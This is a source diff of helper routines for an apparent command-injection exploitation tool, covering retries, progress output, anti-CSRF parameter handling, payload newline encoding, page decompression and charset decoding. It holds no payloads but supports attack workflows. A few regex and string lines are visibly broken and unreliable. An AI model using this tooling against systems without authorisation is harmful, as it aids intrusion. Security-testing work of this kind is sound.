+ common.invalid_option(choice)
+ except KeyboardInterrupt:
+ settings.clear_current_line()
+ choice = "q"
+ if choice == "v":
+ # No further prompting - changing verbosity just continues.
+ change_verbosity()
+ return
+ if choice == "q":
+ user_aborted(filename, url)
+
+"""
+Connection exceptions
+"""
+def connection_exceptions(err_msg):
+ # A request that cannot be encoded is not a connection that failed: every retry builds the same
+ # one again, and the target never sees any of them.
+ if "codec can't encode" in str(err_msg):
+ error_msg = "Unable to build the request (" + str(err_msg) + "). An HTTP header carries only "
+ error_msg += "the characters the protocol can encode, so a value given with any other is never sent."
+ settings.print_data_to_stdout(settings.print_critical_msg(error_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ requests.request_failed(err_msg)
+ with settings.REQUESTS_LOCK:
+ settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
+ if settings.MAX_RETRIES > 1:
+ delay = stability.retry_delay_seconds()
+ if delay:
+ time.sleep(delay)
+ if not any((settings.MULTI_TARGETS, settings.CRAWLING,settings.REVERSE_TCP,settings.BIND_TCP)):
+ warn_msg = "Connection error (" + str(err_msg) + "), retrying request (" + str(settings.TOTAL_OF_REQUESTS) + "/" + str(settings.MAX_RETRIES) + ")."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ settings.VISIBLE_CONNECTION_ERRORS += 1
+ if not settings.VALID_URL :
+ if stability.should_abandon_target():
+ raise SystemExit()
+
+"""
+Tab Autocompleter
+"""
+def tab_autocompleter():
+ try:
+ # MacOSX tab compliter
+ if 'libedit' in readline.__doc__:
+ readline.parse_and_bind("bind ^I rl_complete")
+ else:
+ readline.parse_and_bind("tab: complete")
+ readline.set_completer_delims(" \t\n")
+ # Tab compliter
+ readline.set_completer(menu.tab_completer)
+ except (TypeError, AttributeError):
+ error_msg = "Failed to initialize tab completion with the platform's readline library."
+ settings.print_data_to_stdout(settings.print_error_msg(error_msg))
+
+"""
+Load commands from history.
+"""
+def load_cmd_history():
+ if settings.READLINE_ERROR:
+ return
+ try:
+ cli_history = settings.CLI_HISTORY
+ # An empty file holds no history to load, and holds no header for the platform's own history
+ # format either - so reading it fails where there was never anything to read.
+ if os.path.isfile(cli_history) and os.path.getsize(cli_history):
+ readline.read_history_file(cli_history)
+ except (IOError, OSError, AttributeError, UnicodeError):
+ if settings.VERBOSITY_LEVEL != 0:
+ warn_msg = "There was a problem loading the history file '" + cli_history + "'."
+ if settings.IS_WINDOWS:
+ warn_msg += " See 'https://github.com/pyreadline/pyreadline/issues/30' for more info."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Save command history.
+"""
+def save_cmd_history():
+ if settings.READLINE_ERROR:
+ return
+ cli_history = settings.CLI_HISTORY
+ try:
+ # Written whether or not the file is already there: writing it is what creates it - though the
+ # directory it goes in is ours to make, and a run that ends early may not have needed it yet.
+ if cli_history and readline.get_current_history_length():
+ directory = os.path.dirname(cli_history)
+ if directory and not os.path.isdir(directory):
+ os.makedirs(directory, exist_ok=True)
+ readline.set_history_length(settings.MAX_HISTORY_LENGTH)
+ readline.write_history_file(cli_history)
+ except (IOError, OSError, AttributeError):
+ # Every path out of a run saves it, so the same failure would otherwise be reported twice.
+ if settings.FAILED_HISTORY_FILE != cli_history:
+ settings.FAILED_HISTORY_FILE = cli_history
+ warn_msg = "Unable to write the history file '" + cli_history + "'."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Testing technique (title)
+"""
+def dashless_gap_note(technique):
+ """
+ What a run working a filtered '-' out of its payloads still cannot spell without one.
+
+ 'dashlesstest' reads 'test's comparisons, a word's length and a byte's ordinal without one, which
+ between them are every '-' the results-, boolean-, time- and file-based techniques write. The
+ tempfile-based one turns a whole file into the decimals of its bytes, and what performs that is
+ asked for it through its options - spelled with the one character this target takes away, and
+ with no other spelling of their own. Said here because a target that strips it answers such a
+ payload exactly as it answers a parameter that was never injectable.
+ """
+ if technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ return
+ if settings.DASHLESS_TAMPER not in settings.MULTI_ENCODED_PAYLOAD:
+ return
+ warn_msg = "The '" + settings.DASHLESS_TAMPER + ".py' tamper script reaches every '-' this "
+ warn_msg += "technique's comparisons are written with, but not the ones its byte reading needs, "
+ warn_msg += "which are options and have no other spelling. A target that strips a '-' answers "
+ warn_msg += "this technique as it answers a parameter that is not injectable."
+ settings.print_once(warn_msg)
+
+def testing_technique_title(injection_type, technique):
+ # Said before the title, so what follows it is read knowing what this technique can still be
+ # refused for - and once, which 'print_once' settles rather than the title's own repeats.
+ dashless_gap_note(technique)
+ # A new technique's title - the completion label below is free to print again for it.
+ settings.LAST_COMPLETED_TECHNIQUE = None
+ settings.LAST_DOT_BUCKET = -1
+ technique = technique_label(injection_type, technique)
+ announced = (settings.CHECKING_PARAMETER, technique)
+ # Said again where something came between the title and the testing it announced - the questions
+ # a file-based technique settles where it writes with, most of all. Asked of that interruption
+ # rather than of the repeat alone: announced twice with nothing printed in between, there is no
+ # break for the reader to continue from, and the title stays as it was.
+ interrupted = settings.PROGRESS_INTERRUPTIONS != settings.LAST_ANNOUNCED_INTERRUPTIONS
+ # Taken before the two are written back below, or it compares 'announced' against itself.
+ same_line = settings.LAST_ANNOUNCED_TECHNIQUE == announced and not interrupted
+ title = "Continue testing the " if (settings.LAST_ANNOUNCED_TECHNIQUE == announced and interrupted) else "Testing the "
+ if settings.LAST_ANNOUNCED_TECHNIQUE != announced:
+ settings.LAST_RESUMED_TECHNIQUE = None
+ settings.LAST_ANNOUNCED_TECHNIQUE = announced
+ settings.LAST_ANNOUNCED_REQUESTS = settings.TOTAL_OF_REQUESTS
+ settings.LAST_ANNOUNCED_INTERRUPTIONS = settings.PROGRESS_INTERRUPTIONS
+ if settings.VERBOSITY_LEVEL != 0:
+ info_msg = title + technique + ". "
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ else:
+ # Close a previous technique's dangling "... (done)" line first - unless this is the same line
+ # about to be written again, which is overwritten in place rather than stacked underneath.
+ if same_line:
+ settings.redraw_current_line()
+ else:
+ settings.clear_current_line()
+ info_msg = title + technique + ", please wait..."
+ settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg))
+
+"""
+Injection progress - a "." as testing advances, " (done)" once the technique is finished.
+"""
+def injection_process(injection_type, technique, done=False, i=None, total=None):
+ if settings.VERBOSITY_LEVEL != 0:
+ return
+ if not settings.PROGRESS_LINE_OPEN:
+ announced = (settings.CHECKING_PARAMETER, technique_label(injection_type, technique))
+ already_announced = settings.LAST_ANNOUNCED_TECHNIQUE == announced
+ # The line only closed because something else legitimately printed over it (e.g. a Y/n prompt
+ # deciding there is nothing left to try), not because testing moved on. Nothing is left to
+ # close in that case: the technique was already announced, and that other output already
+ # ended the line - neither re-announcing it nor a bare "(done)" with nothing before it on the
+ # line says anything the user was not already told.
+ """
+ Nothing left to close, either because nothing happened since the title or because what did
+ happen already printed itself out.
+
+ A sweep that counted its boundaries off marked them on a line that something else then ended -
+ the dots are behind it either way. Announcing the technique a second time to put "(done)" after
+ it writes the title again with the three dots of "please wait..." and nothing of the work, so a
+ sweep of a hundred questions is signed off looking like one that asked none.
+ """
+ if done and already_announced and (settings.TOTAL_OF_REQUESTS == settings.LAST_ANNOUNCED_REQUESTS
+ or settings.LAST_DOT_BUCKET != -1):
+ settings.LAST_COMPLETED_TECHNIQUE = technique
+ return
+ # Said a second time where something came between the title and the testing it announced, and
+ # only a second time: a technique that stops to ask again, and again, would otherwise repeat
+ # the line for every question. Until there is an ending to report, nothing more is said.
+ if already_announced and settings.LAST_RESUMED_TECHNIQUE == announced and not done:
+ return
+ if already_announced:
+ settings.LAST_RESUMED_TECHNIQUE = announced
+ testing_technique_title(injection_type, technique)
+ if done:
+ # Can be hit once per false-positive retry on the same technique - only print once.
+ if settings.LAST_COMPLETED_TECHNIQUE == technique:
+ return
+ settings.LAST_COMPLETED_TECHNIQUE = technique
+ settings.print_data_to_stdout(" (done)")
+ return
+ # One dot per combination can get unreadably long - only cross a 4%-wide bucket.
+ if total:
+ bucket = int(((i * 100) / total) // 4)
+ if bucket == settings.LAST_DOT_BUCKET:
+ return
+ settings.LAST_DOT_BUCKET = bucket
+ settings.print_data_to_stdout(".")
+
+"""
+Check value inside boundaries.
+"""
+def value_inside_boundaries(parameter, http_request_method):
+ try:
+ if isinstance(parameter, str):
+ # Asked whether there are boundaries at all, rather than read off a match that may not be
+ # there: a value carrying none raised on the spot, and the handler below took that for the
+ # answer - which left it unable to tell a value with no boundaries from a fault in the
+ # questions that follow, since both arrived here as the same silence.
+ bounded = re.search(r"=" + settings.VALUE_BOUNDARIES, parameter)
+ value_inside_boundaries = bounded.group() if bounded else None
+ if value_inside_boundaries:
+ pcre_mod_value = value_inside_boundaries + settings.PCRE_MODIFIER[1:2]
+ if pcre_mod_value not in parameter:
+ while True:
+ message = "It appears that provided value '" + value_inside_boundaries + "' has boundaries."
+ message += " Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "'"
+ message += " modifier outside boundaries? ('" + pcre_mod_value + "') [Y/n] "
+ modifier_check = common.read_input(message, default="Y", check_batch=True)
+ if modifier_check in settings.CHOICE_YES:
+ parameter = parameter.replace(value_inside_boundaries, pcre_mod_value)
+ value_inside_boundaries = pcre_mod_value
+ break
+ elif modifier_check in settings.CHOICE_NO:
+ break
+ elif modifier_check in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(modifier_check)
+ pass
+
+ inside = re.search(settings.VALUE_BOUNDARIES, value_inside_boundaries)
+ value = inside.group(1) if inside else None
+ if value:
+ value = value_inside_boundaries.replace(value, value + settings.CUSTOM_INJECTION_MARKER_CHAR)
+ while True:
+ message = "Do you want to inject the provided value '" + value + "' inside boundaries?"
+ message += " ('" + value + "') [Y/n] "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
+ if procced_option in settings.CHOICE_YES:
+ parameter = parameter.replace(value_inside_boundaries, value)
+ break
+ elif procced_option in settings.CHOICE_NO:
+ break
+ elif procced_option in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(procced_option)
+ pass
+ except Exception:
+ pass
+
+ return parameter
+
+"""
+Ignoring the anti-CSRF parameter(s).
+"""
+def explicitly_testable(parameter):
+ # Asking for a parameter by name is asking for it to be tested, whatever it is called.
+ name = parameter.split("=")[0].strip().lower()
+ return any(name == _.split("=")[0].strip().lower() for _ in settings.TESTABLE_PARAMETERS_LIST)
+
+"""
+Settle what names the anti-CSRF token, from what the user wrote.
+
+A name is taken as a name: where it would also read as an expression, the user is asked which was
+meant, because the difference decides what the token is looked up by on every request from here on.
+"""
+def set_anticsrf_token(value):
+ settings.CSRF_TOKEN_ORIGINAL = value
+ try:
+ re.compile(value)
+ if re.escape(value) != value:
+ message = "The provided value for the option '--csrf-token' ('" + value + "') is a regular expression? [y/N] "
+ if common.read_input(message, default="N", check_batch=True) not in settings.CHOICE_YES:
+ value = re.escape(value)
+ except re.error:
+ value = re.escape(value)
+ settings.CSRF_TOKEN = value
+
+"""
+Offer to keep a parameter that looks like an anti-CSRF token up to date, where none was named.
+
+The parameter is skipped for testing either way - what is asked here is whether its value should be
+fetched again before every request, which is what a target that checks it requires.
+"""
+def offer_anticsrf_token(parameter):
+ if settings.CSRF_TOKEN or menu.options.batch or settings.LOAD_SESSION:
+ return
+ name = parameter.split("=")[0].strip()
+ if not name or not any(name.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES):
+ return
+ message = "The parameter '" + name + "' appears to hold an anti-CSRF token. "
+ message += "Do you want " + settings.APPLICATION + " to automatically update it in further requests? [y/N] "
+ if common.read_input(message, default="N", check_batch=True) in settings.CHOICE_YES:
+ set_anticsrf_token(name)
+
+# Whether a parameter looks like an anti-CSRF token, which testing would only invalidate.
+def ignore_anticsrf_parameter(parameter):
+ # Split where the name ends rather than at every '=' it holds: a value carrying one of its
+ # own - a token written in base64, most of them - is still that parameter's value, and a
+ # parameter skipped without a word said is one nobody knows went untested.
+ name, separator, value = parameter.partition("=")
+ # The name is what names a token, the way 'offer_anticsrf_token' reads it: a value that merely
+ # holds the word is ordinary input, and testing it is the whole point of being given it.
+ if any(name.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES):
+ if not explicitly_testable(parameter):
+ offer_anticsrf_token(parameter)
+ if separator:
+ info_msg = "Ignoring the parameter '" + name
+ info_msg += "' that appears to hold anti-CSRF token '" + value + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ return True
+
+# Whether a parameter is one '--randomize' carries a fresh value in, which is what it is for -
+# a payload of ours in its place would be rewritten by the next request.
+def ignore_randomized_parameter(parameter):
+ name = parameter.split("=")[0].strip()
+ if name in settings.RANDOMIZE_PARAMETERS_LIST:
+ info_msg = "Skipping the randomized parameter '" + name + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ return True
+
+"""
+Ignoring the parameter(s) carrying session or framework state.
+"""
+def ignore_stateful_parameter(parameter):
+ name = parameter.split("=")[0].strip()
+ if name.upper() in settings.IGNORE_PARAMETERS and not explicitly_testable(parameter):
+ info_msg = "Ignoring the parameter '" + name + "' that appears to hold session or framework state."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ return True
+
+"""
+Adapt newline characters in the payload depending on injection settings and OS.
+"""
+def sanitize_payload_newlines(payload):
+ if (
+ settings.USER_AGENT_INJECTION
+ or settings.REFERER_INJECTION
+ or settings.HOST_INJECTION
+ or settings.CUSTOM_HEADER_INJECTION
+ ):
+ return payload.replace(settings.END_LINE.LF, ";")
+
+ """
+ Nothing else is rewritten.
+
+ A newline inside a payload is written as the character it is meant to be - an interpreter's own
+ line break is a carriage return where it is one - so there is nothing left here to correct, and a
+ separator that is itself a newline must not be turned into something else.
+ """
+ return payload
+
+"""
+Normalize newline sequences (CRLF, CR, LF) into lowercase URL-encoded form.
+"""
+def normalize_newlines(payload):
+ """
+ A header value cannot carry a line break - one would end the header, or be refused outright - so
+ any that the payload holds are written out in their encoded form instead.
+
+ Only those. The payload used to be decoded whole first, which was needed while it arrived
+ part-encoded and is now only a way to damage a command that contains a per-cent sign.
+ """
+ for seq in [settings.END_LINE.CRLF, settings.END_LINE.CR, settings.END_LINE.LF]:
+ payload = payload.replace(seq, _urllib.parse.quote(seq).lower())
+
+ return payload
+
+"""
+Process HTTP response content: handle decompression and encode/decode page content.
+"""
+def decompress_page(body, content_encoding):
+ """
+ A page as it was written, from the encoding it arrived in.
+
+ Every decoder is stopped at the size a page is allowed to reach: a few hundred bytes can name
+ gigabytes, and reading that whole is how a target empties the memory of the machine testing it.
+ """
+ content_encoding = (content_encoding or "").lower()
+ if content_encoding not in ("gzip", "x-gzip", "deflate", "br", "zstd"):
+ return body
+ cap = settings.MAX_PAGE_SIZE
+ original = body
+ try:
+ if content_encoding == "deflate":
+ # Raw deflate, read in bounded steps rather than expanded whole and measured afterwards.
+ decompressor = zlib.decompressobj(-15)
+ body = decompressor.decompress(body, cap + 1)
+ if len(body) > cap:
+ raise ValueError("size too large")
+ body += decompressor.flush()
+ if len(body) > cap:
+ raise ValueError("size too large")
+ elif content_encoding == "br":
+ if settings.BROTLI_DECODER is None:
+ raise ValueError("no brotli decoder available")
+ # Bounded where it is read, the way the encodings around it are: the decoder's own ceiling is
+ # a default of its own, and the two part as soon as what this run will read moves off it.
+ body = settings.BROTLI_DECODER.decompress(body, cap + 1)
+ if len(body) > cap:
+ raise ValueError("size too large")
+ elif content_encoding == "zstd":
+ if settings.ZSTD_DECODER is None:
+ raise ValueError("no zstandard decoder available")
+ decompressor = settings.ZSTD_DECODER.ZstdDecompressor(options={settings.ZSTD_DECODER.DecompressionParameter.window_log_max: 23})
+ body = decompressor.decompress(body, max_length=cap + 1)
+ if len(body) > cap:
+ raise ValueError("size too large")
+ if not decompressor.eof:
+ raise ValueError("incomplete stream")
+ else:
+ with contextlib.closing(gzip.GzipFile(fileobj=io.BytesIO(body), mode="rb")) as gz:
+ body = gz.read(cap + 1)
+ if len(body) > cap:
+ raise ValueError("size too large")
+ except Exception:
+ # A page that is not what it says it is: said once, and asked for uncompressed from here on,
+ # rather than arriving in the same state and failing the same way for the rest of the run.
+ if settings.PAGE_COMPRESSION:
+ settings.PAGE_COMPRESSION = False
+ warn_msg = "Page decompression failed, turning off page compression."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ # Handed back as it arrived rather than half-expanded: what was read of it says nothing about
+ # the page, and the next request asks for one that needs no expanding at all.
+ return original
+ return body
+
+def normalize_charset(charset, warn=True):
+ """
+ The name a page declares itself in, as a name the platform actually has.
+
+ What a page says about its own encoding is written by hand as often as not: it arrives with the
+ media type still attached, misspelled, aliased, or naming nothing at all. Anything that cannot be
+ decoded with in the end is refused, rather than used to read every page of the run wrongly.
+ """
+ if not charset:
+ return None
+ charset = str(charset).lower()
+ for delimiter in (";", ",", "("):
+ if delimiter in charset:
+ charset = charset[:charset.find(delimiter)].strip()
+ charset = charset.replace(""", "")
+
+ # Transpositions of a number that is nearly always '8859', and one that is nearly always '2312'.
+ for typo, correction in (("8858", "8859"), ("8559", "8859"), ("8895", "8859"), ("5889", "8859"), ("5589", "8859"), ("2313", "2312")):
+ if typo in charset:
+ charset = charset.replace(typo, correction)
+ break
+ else:
+ if charset.startswith("x-"):
+ charset = charset[len("x-"):]
+ elif "windows-cp" in charset:
+ charset = charset.replace("windows-cp", "windows")
+
+ if charset.startswith("8859"):
+ charset = "iso-" + charset
+ elif charset.startswith("cp-"):
+ charset = "cp" + charset[3:]
+ elif charset.startswith("euc-"):
+ charset = "euc_" + charset[4:]
+ elif charset.startswith("windows") and not charset.startswith("windows-"):
+ charset = "windows-" + charset[7:]
+ elif charset.find("iso-88") > 0:
+ charset = charset[charset.find("iso-88"):]
+ elif charset.startswith("is0-"):
+ charset = "iso" + charset[4:]
+ elif charset.find("ascii") > 0:
+ charset = "ascii"
+ elif charset.find("utf8") > 0:
+ charset = "utf8"
+ elif charset.find("utf-8") > 0:
+ charset = "utf-8"
+
+ if charset in settings.CHARSET_ALIASES:
+ charset = settings.CHARSET_ALIASES[charset]
+ elif charset in ("null", "{charset}", "charset", "*") or not re.search(r"\w", charset):
+ return None
+
+ try:
+ codecs.lookup(charset)
+ except (LookupError, ValueError):
+ # A charset carrying a NUL is not a charset - and it is the target that chose it.
+ return None
+ try:
+ str(b"commix", charset)
+ except (UnicodeDecodeError, LookupError):
+ if warn and settings.VERBOSITY_LEVEL != 0:
+ warn_msg = "Invalid web page charset '" + charset + "'."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return None
+ return charset
+
+def heuristic_charset(page):
+ """
+ What a page looks like it is written in, where it says nothing about itself.
+ """
+ if settings.CHARSET_DETECTOR is None or not page:
+ return None
+ try:
+ return normalize_charset(settings.CHARSET_DETECTOR(page[:settings.HEURISTIC_PAGE_SIZE_THRESHOLD]).get("encoding"), warn=False)
+ except Exception:
+ return None
+
+"""
+A byte the page's own encoding cannot read, written down as the escape that spells it out.
+
+Thrown away instead, every unreadable byte comes back as the one replacement character, and output
+read off a page stops being the bytes the target sent - 'caf\xc3\xa9' and 'caf\xff\xfe' arrive
+as the same two characters, and neither is recoverable. Written out, the byte is still there.
+"""
+def _keep_unreadable_bytes(error):
+ kept = "".join(settings.UNREADABLE_BYTE_FORMAT % _ for _ in bytearray(error.object[error.start:error.end]))
+ return (kept, error.end)
+
+codecs.register_error(settings.UNREADABLE_BYTE_HANDLER, _keep_unreadable_bytes)
+
+"""
+The bytes an unreadable escape stands for, back as themselves.
+
+Only a byte past ASCII is ever written out that way, so the text a target meant to send is left
+alone - an escape it printed itself spells a character the page could read perfectly well.
+
+>>> restored_unreadable_bytes("caf\\xc3\\xa9")
+'caf\xc3\xa9'
+>>> restored_unreadable_bytes("plain \\x41 text")
+'plain \\x41 text'
+"""
+def restored_unreadable_bytes(text):
+ if not isinstance(text, str) or "\\x" not in text:
+ return text
+ return re.sub(settings.UNREADABLE_BYTE_REGEX, lambda _: chr(int(_.group(1), 16)), text)
+
+"""
+The page a boolean answer is read against.
+
+It has to be what the same request returns without a payload, which is the page kept at startup
+only while the parameter still carries the value it arrived with. Where the sink turned out not to
+need that value, a short random one stands in for it in every later request, and a target that
+writes the value back answers the two differently whatever the payload did - so a true answer never
+reads like the page it is compared against and every boundary is thrown away as one that broke the
+sink. Asked once per value that stands in, the way the reference for this keeps one answer per
+shape of request rather than one per test.
+"""
+def comparison_baseline(url, http_request_method):
+ if not settings.TESTABLE_VALUE_OPTIMIZED:
+ return settings.ORIGINAL_PAGE or ""
+ if settings.STAND_IN_PAGE_FOR != settings.TESTABLE_VALUE:
+ settings.STAND_IN_PAGE_FOR = settings.TESTABLE_VALUE
+ settings.STAND_IN_PAGE = requests.page_without_payload(url, http_request_method) or settings.ORIGINAL_PAGE or ""
+ return settings.STAND_IN_PAGE
+
+"""
+Per-cent escapes read as the characters they stand for, except where one runs into a marker.
+
+What a command printed is bytes, not a page: a per-cent sign in its output is one it printed, and
+the two characters behind it belong to whatever came next - the marker a technique closes the
+output with, where the output ends on one. Read together, those three became a single byte, the
+marker was no longer whole and the output came back as nothing at all: an output ending in '%'
+and a marker beginning 'EF' lost both, while the same output and a marker beginning 'UZ' came
+back as it was. An escape is left as it stands wherever reading it would reach into the marker,
+and every other one is read the way a page carrying encoded text needs it read.
+"""
+def percent_decoded(body, guard=None):
+ if isinstance(guard, str):
+ guard = guard.encode(settings.DEFAULT_CODEC)
+ def decoded(match):
+ if guard and any(body.startswith(guard, match.start() + offset) for offset in (1, 2)):
+ return match.group(0)
+ return codecs.decode(match.group(1), "hex")
+ return re.sub(b"(?i)%([0-9a-f]{2})", decoded, body)
+
+def decode_page_body(body, response=None, percent_decode=True, entity_decode=True, guard=None):
+ """
+ A page already read from its response, as text: decompressed if it was compressed, and read in
+ the encoding it declares.
+
+ Used where the body is in hand rather than the response - a page kept for later, or one read once
+ and handed on to whoever reads it next.
+ """
+ content_encoding = content_type = ""
+ if response is not None:
+ try:
+ content_encoding = response.info().get("Content-Encoding") or ""
+ content_type = (response.info().get(settings.CONTENT_TYPE) or "").lower()
+ except Exception:
+ content_encoding = content_type = ""
+ body = decompress_page(body, content_encoding)
+
+ """
+ What the page is written in, from what it says about itself.
+
+ A page declares its charset twice - in the header it was served with and in its own head - and
+ the two disagree often enough that agreeing is what makes either believable. One on its own is
+ taken where the other is silent; two that differ are both discarded, and what the page looks like
+ is asked for instead.
+ """
+ if menu.options.codec:
+ page_encoding = settings.DEFAULT_CODEC
+ else:
+ http_charset = meta_charset = None
+ if "charset=" in content_type:
+ http_charset = normalize_charset(content_type.split("charset=")[-1])
+ if isinstance(body, bytes):
+ declared = re.search(settings.META_CHARSET_REGEX, body.decode(settings.DEFAULT_CODEC, errors="replace"))
+ meta_charset = normalize_charset(declared.group("result")) if declared else None
+ if (any((http_charset, meta_charset)) and not all((http_charset, meta_charset))) or (http_charset == meta_charset and all((http_charset, meta_charset))):
+ page_encoding = http_charset or meta_charset
+ else:
+ page_encoding = None
+
+ """
+ A page is written for a browser, which reads an entity and a per-cent escape as the character
+ each stands for - so what the target wrote is not what arrived, and the marker a technique looks
+ for would be searched for in text the target never sent.
+ """
+ if isinstance(body, bytes) and "text/" in content_type:
+ if entity_decode and b"" in body:
+ body = re.sub(b"(?i)([0-9a-f]{1,2});", lambda _: codecs.decode(_.group(1) if len(_.group(1)) == 2 else b"0" + _.group(1), "hex"), body)
+ body = re.sub(b"(\\d{1,3});", lambda _: bytes(bytearray([int(_.group(1))])) if int(_.group(1)) < 256 else _.group(0), body)
+ if percent_decode and b"%" in body:
+ body = percent_decoded(body, guard)
+ if entity_decode:
+ body = re.sub(b"&([^;]+);", lambda _: bytes(bytearray([settings.HTML_ENTITIES[_.group(1).decode("ascii", errors="replace")]])) if settings.HTML_ENTITIES.get(_.group(1).decode("ascii", errors="replace"), 256) < 256 else _.group(0), body)
+ page_encoding = page_encoding or heuristic_charset(body)
+ if (page_encoding or "").lower() == "utf-8-sig":
+ page_encoding = "utf-8"
+ if body.startswith(b"\xef\xbb\xbf"):
+ body = body[3:]
+
+ if page_encoding:
+ settings.DEFAULT_PAGE_ENCODING = page_encoding
+ """
+ Each encoding is tried as it stands, and only what none of them can read falls back on writing the
+ byte out. Read with a replacement character instead, the first encoding never fails - so the one
+ after it was never reached, and a page it could have read was taken in the wrong one regardless.
+ """
+ for codec in (page_encoding or settings.DEFAULT_PAGE_ENCODING or settings.DEFAULT_CODEC, settings.DEFAULT_CODEC):
+ try:
+ return body.decode(codec)
+ except (UnicodeDecodeError, LookupError, TypeError):
+ continue
+ try:
+ return body.decode(settings.DEFAULT_CODEC, errors=settings.UNREADABLE_BYTE_HANDLER)
+ except (LookupError, TypeError):
+ return ""
+
+"""
+The page with everything that is not its text taken out: scripts, styles, comments and the tags
+themselves.
+
+What a target prints from a command it ran is text, and a page is mostly not. A few characters of
+output against kilobytes of layout is a difference too small to read as one - which is how a
+parameter that plainly reaches a shell comes back as one that changes nothing.
+"""
+def filtered_page_content(page, only_text=True, split=settings.SINGLE_WHITESPACE):
+ if not isinstance(page, str):
+ return page
+ page = re.sub(r"(?si)||" + (r"|<[^>]+>|\t|\n|\r" if only_text else ""), split, page)
+ page = re.sub(re.escape(split) + r"{2,}", split, page)
+ return page.strip().strip(split)
+
+# The alphanumeric run at either end of a marking, which would otherwise start or stop mid-word.
+def _trim_alphanum(value):
+ while value and value[-1].isalnum():
+ value = value[:-1]
+ while value and value[0].isalnum():
+ value = value[1:]
+ return value
+
+"""
+Note where a page differs from itself between two identical requests, by what sits either side of
+the part that moved - a timestamp, a counter, a token - so the same region can be taken out of
+every sample compared later on.
+"""
+def find_dynamic_content(first_page, second_page):
+ settings.DYNAMIC_MARKINGS = []
+ if not first_page or not second_page:
+ return
+ try:
+ blocks = list(difflib.SequenceMatcher(None, first_page, second_page).get_matching_blocks())
+ except (MemoryError, TypeError, ValueError):
+ return
+ # What is too short to anchor on is not a region, it is a coincidence.
+ blocks = [block for block in blocks if block[2] > 2 * settings.DYNAMICITY_BOUNDARY_LENGTH]
+ if not blocks:
+ return
+ blocks.insert(0, None)
+ blocks.append(None)
+ for index in range(len(blocks) - 1):
+ before, after = blocks[index], blocks[index + 1]
+ prefix = first_page[before[0]:before[0] + before[2]] if before else None
+ suffix = first_page[after[0]:after[0] + after[2]] if after else None
+ if prefix is None and after[0] == 0:
+ continue
+ if suffix is None and (before[0] + before[2] >= len(first_page)):
+ continue
+ if prefix and suffix:
+ prefix = prefix[-settings.DYNAMICITY_BOUNDARY_LENGTH:]
+ suffix = suffix[:settings.DYNAMICITY_BOUNDARY_LENGTH]
+ for page in (first_page, second_page):
+ match = re.search(r"(?s)" + re.escape(prefix) + r"(.+?)" + re.escape(suffix), page)
+ if match:
+ infix = match.group(1)
+ if infix[:1].isalnum():
+ prefix = _trim_alphanum(prefix)
+ if infix[-1:].isalnum():
+ suffix = _trim_alphanum(suffix)
+ break
+ marking = (prefix or None, suffix or None)
+ if marking not in settings.DYNAMIC_MARKINGS:
+ settings.DYNAMIC_MARKINGS.append(marking)
+
+"""
+Take the regions that move on their own out of a page, so what is left is the part a parameter
+could be responsible for.
+"""
+def remove_dynamic_content(page):
+ if not page:
+ return page
+ for prefix, suffix in settings.DYNAMIC_MARKINGS:
+ if prefix is None and suffix is None:
+ continue
+ elif prefix is None:
+ page = re.sub(r"(?s)^.+?" + re.escape(suffix), suffix.replace("\\", r"\\"), page)
+ elif suffix is None:
+ page = re.sub(r"(?s)" + re.escape(prefix) + r".+$", prefix.replace("\\", r"\\"), page)
+ else:
+ page = re.sub(r"(?s)" + re.escape(prefix) + r".+?" + re.escape(suffix), prefix.replace("\\", r"\\") + suffix.replace("\\", r"\\"), page)
+ return page
+
+"""
+The page's own title, or nothing where it has none.
+
+A page can carry a counter, a session id and an advert and still be the same page, while its title is
+the one line that names what the target decided to render - so where everything else moves, the title
+is what a yes and a no can still be told apart by.
+"""
+def page_title(page):
+ match = re.search(r"(?i)]*>(?P[^<]*)", page or "")
+ return (match.group("result") or "").strip() if match else ""
+
+"""
+How alike two pages are, from 0 to 1.
+
+Counted over the characters the two have in common rather than the order they arrive in, because
+the ordered reading leaves out every character making up more than one percent of the page: a body
+ending in a long run of few distinct characters - base64, hexadecimal, decimals - has every one of
+them left out that way, and two such pages a single byte apart read as half alike. A pair too large
+to read character by character at all is answered by their lengths, which is the one reading that
+costs nothing.
+"""
+def page_ratio(first, second):
+ if first is None or second is None:
+ return 0.0
+ if first == second:
+ return 1.0
+ if not first or not second:
+ return 0.0
+ if max(len(first), len(second)) > settings.MAX_COMPARISON_LENGTH:
+ ratio = 1.0 * len(first) / len(second)
+ return ratio if ratio <= 1 else 1.0 / ratio
+ try:
+ return difflib.SequenceMatcher(None, first, second).quick_ratio()
+ except (MemoryError, TypeError, ValueError):
+ return 0.0
+
+"""
+The page as it is worth comparing: without the regions that move by themselves, and - where
+'--text-only' was given - without the layout they sit in either, or - where '--titles' was given -
+nothing but the line that names what was rendered.
+"""
+def comparable_page(page):
+ if menu.options.titles:
+ return page_title(page)
+ if menu.options.text_only:
+ page = filtered_page_content(page)
+ return remove_dynamic_content(page)
+
+# How much of the page is the text a command's output would show up in.
+def page_text_percent(page):
+ if not page:
+ return 100.0
+ return 100.0 * len(filtered_page_content(page)) / len(page)
+
+def process_page_content(response, action, guard=None):
+ try:
+ page = response.read()
+ except _http_client.IncompleteRead as err_msg:
+ requests.request_failed(err_msg)
+ page = err_msg.partial
+
+ # Handle compressed content
+ content_encoding = response.info().get('Content-Encoding')
